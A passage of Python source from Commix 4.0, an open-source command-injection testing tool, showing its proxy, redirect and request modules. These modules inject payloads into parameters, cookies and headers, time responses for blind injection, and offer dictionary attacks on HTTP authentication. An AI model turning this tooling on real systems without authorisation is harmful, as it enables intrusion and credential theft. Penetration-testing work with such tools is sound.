settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST
settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST
settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[0]
settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[1]
except AttributeError:
pass
return header_name
# eof commix-4.0/src/core/requests/proxy.py 0000664 0000000 0000000 00000003370 14731205621 0020002 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
import socket
from src.utils import menu
from src.utils import settings
from src.core.requests import headers
from src.core.requests import requests
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.six.moves import http_client as _http_client
"""
Use the defined HTTP Proxy
"""
def use_proxy(request):
try:
if menu.options.ignore_proxy:
proxy = _urllib.request.ProxyHandler({})
opener = _urllib.request.build_opener(proxy)
_urllib.request.install_opener(opener)
elif menu.options.tor:
proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:menu.options.proxy})
opener = _urllib.request.build_opener(proxy)
_urllib.request.install_opener(opener)
else:
request.set_proxy(menu.options.proxy, settings.SCHEME)
return _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
except Exception as err_msg:
return requests.request_failed(err_msg)
"""
Check if HTTP Proxy is defined.
"""
def do_check():
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Setting the HTTP proxy for all HTTP requests. "
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
# eof commix-4.0/src/core/requests/redirection.py 0000775 0000000 0000000 00000007520 14731205621 0021134 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
import errno
import base64
try:
from base64 import encodebytes
except ImportError:
from base64 import encodestring as encodebytes
from src.utils import menu
from src.utils import settings
from src.utils import common
from src.core.requests import requests
from socket import error as SocketError
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.colorama import Fore, Back, Style, init
def do_check(request, url, redirect_url):
"""
This functinality is based on Filippo's Valsorda script [1].
---
[1] https://gist.github.com/FiloSottile/2077115
"""
class Request(_urllib.request.Request):
def get_method(self):
return settings.HTTPMETHOD.HEAD
class RedirectHandler(_urllib.request.HTTPRedirectHandler, object):
"""
Subclass the HTTPRedirectHandler to make it use our
Request also on the redirected URL
"""
def redirect_request(self, request, fp, code, msg, headers, newurl):
if code in (301, 302, 303, 307):
settings.REDIRECT_CODE = code
return Request(newurl.replace(' ', '%20'),
data=request.data,
headers=request.headers
)
else:
err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (")
settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
try:
opener = _urllib.request.build_opener(RedirectHandler())
_urllib.request.install_opener(opener)
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL) as err_msg:
requests.crawler_request(redirect_url)
try:
if settings.CRAWLING and redirect_url in settings.HREF_SKIPPED:
return redirect_url
elif settings.CRAWLING and url in settings.HREF_SKIPPED:
return url
else:
while True:
if not settings.FOLLOW_REDIRECT:
if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + redirect_url
message += "'. Do you want to follow? [Y/n] > "
redirection_option = common.read_input(message, default="Y", check_batch=True)
if redirection_option in settings.CHOICE_YES:
settings.FOLLOW_REDIRECT = True
info_msg = "Following redirection to '" + redirect_url + "'. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if settings.CRAWLING:
settings.HREF_SKIPPED.append(url)
return checks.check_http_s(redirect_url)
elif redirection_option in settings.CHOICE_NO:
settings.FOLLOW_REDIRECT = False
if settings.CRAWLING:
settings.HREF_SKIPPED.append(url)
return url
elif redirection_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(redirection_option)
pass
except AttributeError:
return url
# eof commix-4.0/src/core/requests/requests.py 0000775 0000000 0000000 00000111657 14731205621 0020507 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
import time
import socket
from socket import error as SocketError
from src.utils import menu
from os.path import splitext
from src.utils import settings
from src.utils import session_handler
from src.thirdparty.six.moves import http_client as _http_client
# accept overly long result lines
_http_client._MAXLINE = 1 * 1024 * 1024
from src.utils import common
from src.utils import crawler
from src.core.requests import proxy
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.core.requests import redirection
from src.core.requests import authentication
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Do a request to target URL.
"""
def crawler_request(url, http_request_method):
try:
# Check if defined POST data
if settings.USER_DEFINED_POST_DATA:
data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)
else:
data = None
request = _urllib.request.Request(url, data, method=http_request_method)
headers.do_check(request)
headers.check_http_traffic(request)
if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor:
response = proxy.use_proxy(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None:
if response.geturl() != url:
href = redirection.do_check(request, url, response.geturl())
if href != url:
crawler.store_hrefs(href, identified_hrefs=True, redirection=True)
return response
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg:
if url not in settings.HREF_SKIPPED:
settings.HREF_SKIPPED.append(url)
settings.CRAWLED_SKIPPED_URLS_NUM += 1
if settings.SITEMAP_XML_FILE in url and settings.NOT_FOUND_ERROR in str(err_msg):
warn_msg = "'" + settings.SITEMAP_XML_FILE + "' not found."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
else:
request_failed(err_msg)
"""
Estimating the response time (in seconds).
"""
def estimate_response_time(url, timesec, http_request_method):
stored_auth_creds = False
_ = False
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Estimating the target URL response time. "
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
# Check if defined POST data
if menu.options.data:
request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC), method=http_request_method)
else:
request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE), method=http_request_method)
headers.do_check(request)
start = time.time()
try:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
response.read(1)
response.close()
_ = True
except _http_client.InvalidURL as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
except _urllib.error.HTTPError as err:
ignore_start = time.time()
if settings.UNAUTHORIZED_ERROR in str(err) and int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE:
pass
else:
err_msg = "Unable to connect to the target URL"
try:
err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")."
except IndexError:
err_msg += " (" + str(err) + ")."
if str(err.getcode()) != settings.UNAUTHORIZED_ERROR:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
# Check for HTTP Error 401 (Unauthorized).
else:
try:
# Get the auth header value
auth_line = err.headers.get('www-authenticate', '')
# Checking for authentication type name.
auth_type = auth_line.split()[0]
# Checking for the realm attribute.
try:
auth_obj = re.match(r'''(\w*)\s+realm=(.*)''', auth_line).groups()
realm = auth_obj[1].split(',')[0].replace("\"", "")
except:
realm = False
except ValueError:
err_msg = "The identified HTTP authentication type (" + str(auth_type) + ") "
err_msg += "is not yet supported."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
except IndexError:
err_msg = "The provided pair of " + str(menu.options.auth_type)
err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'"
err_msg += " seems to be invalid."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.auth_type and menu.options.auth_type != auth_type.lower():
if checks.identified_http_auth_type(auth_type):
menu.options.auth_type = auth_type.lower()
else:
menu.options.auth_type = auth_type.lower()
# Check for stored auth credentials.
if not menu.options.auth_cred:
try:
stored_auth_creds = session_handler.export_valid_credentials(url, auth_type.lower())
except:
stored_auth_creds = False
if stored_auth_creds and not menu.options.ignore_session:
menu.options.auth_cred = stored_auth_creds
info_msg = "Setting pair of credentials '"
info_msg += menu.options.auth_cred + "' from stored session."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
else:
# Basic authentication
if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC:
if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE:
warn_msg = menu.options.auth_type.capitalize() + " "
warn_msg += "HTTP authentication credentials are required."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
while True:
message = "Do you want to perform a dictionary-based attack? [Y/n] > "
do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
auth_creds = authentication.http_auth_cracker(url, realm, http_request_method)
if auth_creds != False:
# menu.options.auth_cred = auth_creds
settings.REQUIRED_AUTHENTICATION = True
break
else:
raise SystemExit()
elif do_update in settings.CHOICE_NO:
checks.http_auth_err_msg()
elif do_update in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(do_update)
pass
# Digest authentication
elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST:
if not int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE:
warn_msg = menu.options.auth_type.capitalize() + " "
warn_msg += "HTTP authentication credentials are required."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
# Check if failed to identify the realm attribute.
if not realm:
warn_msg = "Failed to identify the realm attribute."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
while True:
message = "Do you want to perform a dictionary-based attack? [Y/n] > "
do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
auth_creds = authentication.http_auth_cracker(url, realm, http_request_method)
if auth_creds != False:
# menu.options.auth_cred = auth_creds
settings.REQUIRED_AUTHENTICATION = True
break
else:
raise SystemExit()
elif do_update in settings.CHOICE_NO:
checks.http_auth_err_msg()
elif do_update in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(do_update)
pass
else:
checks.http_auth_err_msg()
else:
raise SystemExit()
ignore_end = time.time()
start = start - (ignore_start - ignore_end)
except ValueError as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg) + "."))
raise SystemExit()
except Exception as err_msg:
request_failed(err_msg)
end = time.time()
diff = end - start
if int(diff) < 1:
url_time_response = int(diff)
else:
if settings.TARGET_OS == settings.OS.WINDOWS:
warn_msg = "Due to the relatively slow response of 'cmd.exe' in target "
warn_msg += "host, there might be delays during the data extraction procedure."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
url_time_response = int(round(diff))
warn_msg = "Target's estimated response time is " + str(url_time_response)
warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause"
if url_time_response >= 3:
warn_msg += " serious"
warn_msg += " delays during the data extraction procedure"
if url_time_response >= 3:
warn_msg += " and/or possible corruptions over the extracted data"
warn_msg += "."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
if int(timesec) == int(url_time_response):
timesec = int(timesec) + int(url_time_response)
else:
timesec = int(timesec)
# Against windows targets (for more stability), add one extra second delay.
# if settings.TARGET_OS == settings.OS.WINDOWS :
# timesec = timesec + 1
return timesec, url_time_response
"""
Exceptions regarding requests failure(s)
"""
def request_failed(err_msg):
settings.VALID_URL = False
try:
error_msg = str(err_msg.args[0]).split("] ")[1]
except IndexError:
try:
error_msg = str(err_msg.args[0])
except IndexError:
error_msg = str(err_msg)
if "Tunnel connection failed" in str(error_msg) and menu.options.tor:
err_msg = "Can't establish connection with the Tor network. "
err_msg += "Please make sure that you have "
err_msg += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup "
err_msg += "so you could be able to successfully use switch '--tor'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]):
settings.MAX_RETRIES = 1
error_msg = "Can't establish SSL connection. "
if settings.MULTI_TARGETS or settings.CRAWLING:
error_msg = error_msg + "Skipping to the next target."
settings.print_data_to_stdout(settings.print_critical_msg(error_msg))
if not settings.CRAWLING:
raise SystemExit()
else:
return False
elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]):
settings.MAX_RETRIES = 1
err = "Unable to connect to the target URL"
if menu.options.tor:
err += " or Tor HTTP proxy."
elif menu.options.proxy or menu.options.ignore_proxy:
err += " or proxy"
err = err + " (Reason: " + str(error_msg) + "). "
if menu.options.tor:
err += "Please make sure that you have "
err += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup "
err += "so you could be able to successfully use switch '--tor'."
if settings.MULTI_TARGETS or settings.CRAWLING:
err = err + "Skipping to the next target."
error_msg = err
settings.print_data_to_stdout(settings.print_critical_msg(error_msg))
if not settings.CRAWLING:
raise SystemExit()
else:
return False
elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower():
if int(settings.UNAUTHORIZED_ERROR) in settings.IGNORE_CODE or \
settings.PERFORM_CRACKING or \
settings.WAF_DETECTION_PHASE:
return False
else:
err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). "
err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')"
if menu.options.auth_type and menu.options.auth_cred:
if settings.MULTI_TARGETS or settings.CRAWLING:
err_msg += ". "
else:
err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. "
else:
err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. "
if settings.CRAWLING:
err_msg += "Skipping to the next target."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
if not settings.CRAWLING:
if menu.options.auth_type and menu.options.auth_cred:
raise SystemExit()
elif settings.TOTAL_OF_REQUESTS == 1:
if "IncompleteRead" in str(error_msg):
error_msg = "There was an incomplete read error while retrieving data "
error_msg += "from the target URL."
elif "infinite loop" in str(error_msg):
error_msg = "Infinite redirect loop detected. "
error_msg += "Please check all provided parameters and/or provide missing ones."
elif "BadStatusLine" in str(error_msg):
error_msg = "Connection dropped or unknown HTTP "
error_msg += "status code received."
elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg):
error_msg = "Connection was forcibly closed by the target URL."
elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]:
status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]
warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0])
warn_msg += "' which could interfere with the results of the tests."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
if not settings.NOT_FOUND_ERROR in str(err_msg).lower():
return False
return True
else:
error_msg = "The provided target URL seems not reachable."
items = []
if not menu.options.random_agent:
items.append("'--random-agent' switch")
if not any((menu.options.proxy, menu.options.ignore_proxy, menu.options.tor)):
items.append("proxy switches ('--proxy', '--ignore-proxy'...).")
if items:
error_msg += "In case that it is, "
error_msg += "you can try to rerun with "
error_msg += " and/or ".join(items)
settings.print_data_to_stdout(settings.print_critical_msg(error_msg))
if not settings.CRAWLING:
raise SystemExit()
else:
return False
elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \
(len(settings.IGNORE_CODE) != 0 and any(str(x) in str(error_msg).lower() for x in settings.IGNORE_CODE)):
return False
elif settings.IGNORE_ERR_MSG == False:
continue_tests = checks.continue_tests(err_msg)
if continue_tests:
settings.IGNORE_ERR_MSG = True
else:
if not settings.CRAWLING:
raise SystemExit()
return False
else:
if settings.VERBOSITY_LEVEL >= 1:
if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]:
debug_msg = "Got " + str(err_msg)
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
else:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
return False
"""
Get the response of the request
"""
def get_request_response(request):
headers.check_http_traffic(request)
if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor:
try:
response = proxy.use_proxy(request)
except Exception as err_msg:
response = request_failed(err_msg)
else:
try:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
except Exception as err_msg:
response = request_failed(err_msg)
return response
"""
Check if target host is vulnerable.
"""
def init_injection(payload, http_request_method, url):
if settings.TIME_RELATIVE_ATTACK:
start = 0
end = 0
start = time.time()
if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA:
payload = payload.replace("#","%23")
vuln_parameter = parameters.vuln_GET_param(url)
target = checks.process_injectable_value(payload, url)
# if settings.TESTABLE_VALUE in url.replace(settings.INJECT_TAG, ""):
# target = url.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload)
# else:
# target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
if settings.USER_DEFINED_POST_DATA:
request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method)
else:
request = _urllib.request.Request(target, method=http_request_method)
else:
parameter = menu.options.data
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
vuln_parameter = parameters.vuln_POST_param(parameter, url)
if settings.IS_JSON:
data = checks.process_injectable_value(_urllib.parse.unquote(payload.replace("\"", "\\\"")), menu.options.data)
# data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
data = checks.process_injectable_value(_urllib.parse.unquote(payload), menu.options.data)
#data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
data = checks.process_injectable_value(payload, menu.options.data)
# if settings.TESTABLE_VALUE in parameter.replace(settings.INJECT_TAG, ""):
# data = parameter.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload)
# else:
# data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method)
headers.do_check(request)
response = get_request_response(request)
if settings.TIME_RELATIVE_ATTACK:
end = time.time()
response = int(end - start)
else:
exec_time = response
return response, vuln_parameter
"""
Check if target host is vulnerable. (Cookie-based injection)
"""
def cookie_injection(url, vuln_parameter, payload, http_request_method):
def inject_cookie(url, vuln_parameter, payload, http_request_method):
# Check if defined POST data
if settings.USER_DEFINED_POST_DATA:
data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)
else:
data = None
request = _urllib.request.Request(url, data, method=http_request_method)
#Check if defined extra headers.
headers.do_check(request)
payload = checks.newline_fixation(payload)
payload = checks.payload_fixation(payload)
# payload = payload.replace("+", "%2B")
if settings.INJECT_TAG in menu.options.cookie:
cookie = checks.process_injectable_value(payload, menu.options.cookie)
# if settings.TESTABLE_VALUE in menu.options.cookie.replace(settings.INJECT_TAG, ""):
# request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload))
# else:
request.add_header(settings.COOKIE, cookie)
try:
headers.check_http_traffic(request)
if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor:
response = proxy.use_proxy(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
except ValueError:
pass
if settings.TIME_RELATIVE_ATTACK :
start = 0
end = 0
start = time.time()
try:
response = inject_cookie(url, vuln_parameter, payload, http_request_method)
except Exception as err_msg:
response = request_failed(err_msg)
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
exec_time = int(end - start)
return exec_time
else:
return response
"""
Check if target host is vulnerable. (User-Agent-based injection)
"""
def user_agent_injection(url, vuln_parameter, payload, http_request_method):
def inject_user_agent(url, vuln_parameter, payload, http_request_method):
# Check if defined POST data
if settings.USER_DEFINED_POST_DATA:
data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)
else:
data = None
request = _urllib.request.Request(url, data, method=http_request_method)
#Check if defined extra headers.
headers.do_check(request)
payload = checks.newline_fixation(payload)
request.add_header(settings.USER_AGENT, payload)
try:
headers.check_http_traffic(request)
if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor:
response = proxy.use_proxy(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
except ValueError:
pass
if settings.TIME_RELATIVE_ATTACK :
start = 0
end = 0
start = time.time()
try:
response = inject_user_agent(url, vuln_parameter, payload, http_request_method)
except Exception as err_msg:
response = request_failed(err_msg)
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
exec_time = int(end - start)
return exec_time
else:
return response
"""
Check if target host is vulnerable. (Referer-based injection)
"""
def referer_injection(url, vuln_parameter, payload, http_request_method):
def inject_referer(url, vuln_parameter, payload, http_request_method):
# Check if defined POST data
if settings.USER_DEFINED_POST_DATA:
data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)
else:
data = None
request = _urllib.request.Request(url, data, method=http_request_method)
#Check if defined extra headers.
headers.do_check(request)
payload = checks.newline_fixation(payload)
request.add_header(settings.REFERER, payload)
try:
headers.check_http_traffic(request)
if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor:
response = proxy.use_proxy(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
except ValueError:
pass
if settings.TIME_RELATIVE_ATTACK :
start = 0
end = 0
start = time.time()
try:
response = inject_referer(url, vuln_parameter, payload, http_request_method)
except Exception as err_msg:
response = request_failed(err_msg)
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
exec_time = int(end - start)
return exec_time
else:
return response
"""
Check if target host is vulnerable. (Host-based injection)
"""
def host_injection(url, vuln_parameter, payload, http_request_method):
def inject_host(url, vuln_parameter, payload, http_request_method):
# Check if defined POST data
if settings.USER_DEFINED_POST_DATA:
data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)
else:
data = None
request = _urllib.request.Request(url, data, method=http_request_method)
#Check if defined extra headers.
headers.do_check(request)
payload = checks.newline_fixation(payload)
request.add_header(settings.HOST, payload)
try:
headers.check_http_traffic(request)
if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor:
response = proxy.use_proxy(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
except ValueError:
pass
if settings.TIME_RELATIVE_ATTACK :
start = 0
end = 0
start = time.time()
try:
response = inject_host(url, vuln_parameter, payload, http_request_method)
except Exception as err_msg:
response = request_failed(err_msg)
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
exec_time = int(end - start)
return exec_time
else:
return response
"""
Check if target host is vulnerable. (Custom header injection)
"""
def custom_header_injection(url, vuln_parameter, payload, http_request_method):
def inject_custom_header(url, vuln_parameter, payload, http_request_method):
# Check if defined POST data
if settings.USER_DEFINED_POST_DATA:
data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)
else:
data = None
request = _urllib.request.Request(url, data, method=http_request_method)
#Check if defined extra headers.
headers.do_check(request)
payload = checks.newline_fixation(payload)
# if settings.CUSTOM_HEADER_VALUE in settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, ""):
# request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload))
# else:
request.add_header(settings.CUSTOM_HEADER_NAME, payload)
try:
headers.check_http_traffic(request)
if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor:
response = proxy.use_proxy(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
except ValueError:
pass
if settings.TIME_RELATIVE_ATTACK :
start = 0
end = 0
start = time.time()
try:
response = inject_custom_header(url, vuln_parameter, payload, http_request_method)
except Exception as err_msg:
response = request_failed(err_msg)
if settings.TIME_RELATIVE_ATTACK :
end = time.time()
exec_time = int(end - start)
return exec_time
else:
return response
"""
Target's encoding detection
"""
def encoding_detection(response):
charset_detected = False
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Identifying the web page charset."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
try:
# Detecting charset
try:
# Support for python 2.7.x
charset = response.headers.getparam('charset')
except AttributeError:
# Support for python 3.x
charset = response.headers.get_content_charset()
if charset != None and len(charset) != 0 :
charset_detected = True
else:
content = re.findall(r"charset=['\"](.*)['\"]", response.read())[0]
if len(content) != 0 :
charset = content
charset_detected = True
else:
# Check if HTML5 format
charset = re.findall(r"charset=['\"](.*?)['\"]", response.read())[0]
if len(charset) != 0 :
charset_detected = True
# Check the identifyied charset
if charset_detected:
settings.DEFAULT_PAGE_ENCODING = charset
if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST:
warn_msg = "The web page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
else:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "The web page charset appears to be " + settings.DEFAULT_PAGE_ENCODING + "."
settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg))
else:
pass
except:
pass
if charset_detected == False and settings.VERBOSITY_LEVEL != 0:
warn_msg = "Failed to identify the web page charset."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Procedure for target application identification
"""
def application_identification(url):
found_application_extension = False
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Identifying the target application."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
root, application_extension = splitext(_urllib.parse.urlparse(url).path)
settings.TARGET_APPLICATION = application_extension[1:].upper()
if settings.TARGET_APPLICATION:
found_application_extension = True
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "The target application appears to be " + settings.TARGET_APPLICATION + "."
settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg))
# Check for unsupported target applications
for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)):
if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower():
err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if not found_application_extension:
if settings.VERBOSITY_LEVEL != 0:
warn_msg = "Failed to identify target's application."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Underlying operating system check.
"""
def check_os(_):
if menu.options.os and checks.user_defined_os():
user_defined_os = settings.TARGET_OS
for i in range(0,len(settings.SERVER_OS_BANNERS)):
match = re.search(settings.SERVER_OS_BANNERS[i].lower(), _.lower())
if match:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Identifying the underlying operating system."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
settings.IDENTIFIED_TARGET_OS = True
settings.TARGET_OS = match.group(0)
match = re.search(r"microsoft|win", settings.TARGET_OS)
if match:
settings.TARGET_OS = identified_os = settings.OS.WINDOWS
if menu.options.os and user_defined_os != settings.OS.WINDOWS:
if checks.identified_os():
settings.TARGET_OS = user_defined_os
else:
settings.TARGET_OS = settings.OS.WINDOWS
if menu.options.shellshock:
err_msg = "The shellshock module ('--shellshock') is not available for " + identified_os + " targets."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
identified_os = "Unix-like (" + settings.TARGET_OS + ")"
if menu.options.os and user_defined_os == settings.OS.WINDOWS:
if checks.identified_os():
